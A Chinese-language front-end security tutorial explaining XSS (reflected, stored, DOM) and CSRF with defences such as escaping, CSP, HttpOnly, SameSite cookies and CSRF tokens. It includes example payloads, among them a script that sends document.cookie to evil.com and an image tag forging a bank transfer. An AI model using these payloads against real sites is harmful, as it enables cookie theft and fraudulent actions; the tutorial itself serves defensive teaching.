你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”

你有没有听说过:点了个链接,微博自动转发了奇怪的内容;登录了银行网站,钱莫名其妙被转走。今天我们就来揪出前端安全领域的两个"惯犯"------XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。它们一个像"投毒者",一个像"冒充者",专门偷你的数据、干你的坏事。

前言

想象一下,你开了个奶茶店。XSS就是有人在你店里的菜单上贴了一张纸:"凭此券免费喝奶茶",然后顾客都来找你要免费奶茶。CSRF则是有人冒充你,对供应商说:"老板说再进1000箱珍珠!"结果你莫名其妙多了一仓库珍珠。

这两种攻击方式不同,但都杀伤力巨大。今天我们就来认识它们,然后学会怎么防。

一、XSS:跨站脚本攻击,你的网站被人"投毒"了

XSS(Cross-Site Scripting)的意思是:攻击者在你的网页里注入恶意脚本,当其他用户访问时,这个脚本就会在用户浏览器里执行,偷Cookie、发请求、改页面内容。

反射型XSS:恶意链接里的"定时炸弹"

攻击者把一个带恶意参数的链接发给你,你一点,网站把参数原样输出到页面上,脚本就执行了。

比如一个搜索页面:https://example.com/search?q=<script>alert('XSS')</script>。如果网站直接输出q参数的内容,就会弹出弹窗。

危害:偷Cookie、钓鱼、跳转恶意网站。

存储型XSS:留言板里的"慢性毒药"

更可怕的是存储型。攻击者在评论区、个人简介等地方写入恶意脚本,网站把它存进数据库。每个访问这个页面的用户,都会执行这个脚本。

比如你在博客评论区写<script>fetch('http://evil.com?cookie='+document.cookie)</script>,博主和所有读者看评论时,Cookie就被发送给攻击者了。

危害:持久化,感染所有访客。

DOM型XSS:不经过服务器的"内鬼"

这种XSS不经过服务器,完全由前端JS不安全地操作DOM导致。比如从URL参数取内容直接innerHTML

js 复制代码
// 危险代码
const name = new URL(location.href).searchParams.get('name');
document.getElementById('welcome').innerHTML = `Hello ${name}`;

攻击者构造?name=<img src=x onerror=alert(1)>,脚本执行。

怎么防XSS?

  1. 永远不要信任用户输入 。任何用户可控制的数据(URL参数、表单、请求头),输出到HTML前都要转义
js 复制代码
// 简单转义函数
function escapeHtml(str) {
  return str.replace(/[&<>]/g, function(m) {
    if (m === '&') return '&amp;';
    if (m === '<') return '&lt;';
    if (m === '>') return '&gt;';
  });
}
  1. 使用安全的APItextContent代替innerHTMLsetAttribute代替拼接HTML。
js 复制代码
// 安全
element.textContent = userInput;
// 危险
element.innerHTML = userInput;
  1. CSP(内容安全策略):通过HTTP头限制哪些脚本可以执行。比如禁止内联脚本、只允许白名单域名。
http 复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. 使用框架的自动转义 :React、Vue等默认会转义输出,但要注意v-htmldangerouslySetInnerHTML等危险操作。

  2. HttpOnly Cookie :标记HttpOnly的Cookie无法被JS读取,即使有XSS也偷不走。但注意,这只能防偷Cookie,不能防其他恶意操作。

二、CSRF:跨站请求伪造,有人冒充你干坏事

CSRF(Cross-Site Request Forgery)的意思是:攻击者诱导你访问一个恶意网站,这个网站偷偷向你的目标网站(比如银行、微博)发起请求,由于你之前登录过,浏览器会自动带上Cookie,目标网站以为是你本人的操作。

一个典型的CSRF攻击

  1. 你登录了银行网站bank.com,浏览器存了Cookie。
  2. 你访问了恶意网站evil.com
  3. evil.com里有一张图片<img src="https://bank.com/transfer?to=attacker&amount=10000">
  4. 浏览器加载图片时,向bank.com发起请求,自动带上你的Cookie。
  5. 银行验证了Cookie,以为是你在转账,扣了你的钱。

危害:修改密码、发帖、转账、删数据......一切你权限内的操作。

怎么防CSRF?

  1. CSRF Token:服务器生成一个随机Token,存在表单的隐藏字段或请求头里。提交时校验Token,攻击者无法获取Token(因为跨域限制)。
html 复制代码
<form>
  <input type="hidden" name="_csrf" value="随机字符串">
  ...
</form>
  1. SameSite Cookie :设置Cookie的SameSite属性为StrictLax,禁止第三方请求携带Cookie。
http 复制代码
Set-Cookie: sessionId=abc123; SameSite=Strict
  • Strict:任何跨站请求都不带Cookie。
  • Lax:部分安全的跨站请求(如链接跳转)带Cookie,但POST表单不带。
  1. 验证Referer/Origin :服务器检查请求头中的RefererOrigin,确保来自你自己的域名。但Referer可能被篡改或缺失,不如Token可靠。

  2. 使用自定义请求头 :比如X-Requested-With: XMLHttpRequest,因为跨域请求不能随意设置自定义头(需要CORS),可以作为一种简单校验(但也能被绕过,最好配合Token)。

  3. 敏感操作二次验证:修改密码、转账等操作,要求输入密码或短信验证码。

三、XSS和CSRF的"狼狈为奸"

更可怕的是,XSS和CSRF经常联手:先用XSS注入脚本,脚本里发起CSRF攻击。比如在留言板注入<script>fetch('/transfer?to=evil&amount=10000')</script>,每个看留言的人都成了受害者。

所以防御要层层设防:XSS防注入,CSRF防伪造。

四、实战:一个安全的评论显示组件

js 复制代码
// 安全地渲染用户评论
function renderComment(comment) {
  const div = document.createElement('div');
  // 用textContent而不是innerHTML
  div.textContent = comment.text;
  // 如果要显示链接,需要单独处理
  return div;
}

对于后端,输出到HTML时也要转义:

php 复制代码
<?php echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); ?>

五、总结:安全三字经

  • 防XSS:转义输出,CSP,HttpOnly。
  • 防CSRF:Token,SameSite,验证Referer。
  • 通用:不要信任用户输入,最小权限原则。

前端安全不是只有大厂才要考虑。你写的一个小博客、一个留言板,都可能被坏人利用。养成良好的安全习惯,比出事后再补窟窿强一百倍。


如果你觉得今天的"安全课"够警醒,点个赞让更多人看到。明天我们将聊聊前端监控与错误上报------怎么第一时间发现线上的Bug,而不是等用户骂你。我们明天见!

相关推荐
Irene19912 小时前
Web前端开发转行大数据开发,可行性分析及学习路线
大数据·前端·转行
咸鱼翻身了么2 小时前
大文件上传-spark-md5
前端·后端
API快乐传递者2 小时前
Python 爬虫获取 1688 商品详情 API 接口实战指南
java·前端·python
PeterMap2 小时前
Vue条件渲染详解:v-if、v-show用法与实战指南
前端·vue.js
Hilaku2 小时前
别再用 JSON.parse 深拷贝了,聊聊 StructuredClone
前端·javascript·vue.js
暗不需求2 小时前
手写 instanceof:从原型链聊聊 JS 的实例判断
前端·javascript
像我这样帅的人丶你还2 小时前
🔥🔥🔥Next + Tiptap + Yjs + Hocuspocus实现文档协同
前端·node.js
opteOG2 小时前
前端项目K8S配置
前端
禅思院2 小时前
总篇:iframe沙盒存储隔离:从紧急补丁到企业级防御体系的完整指南
前端·架构·前端框架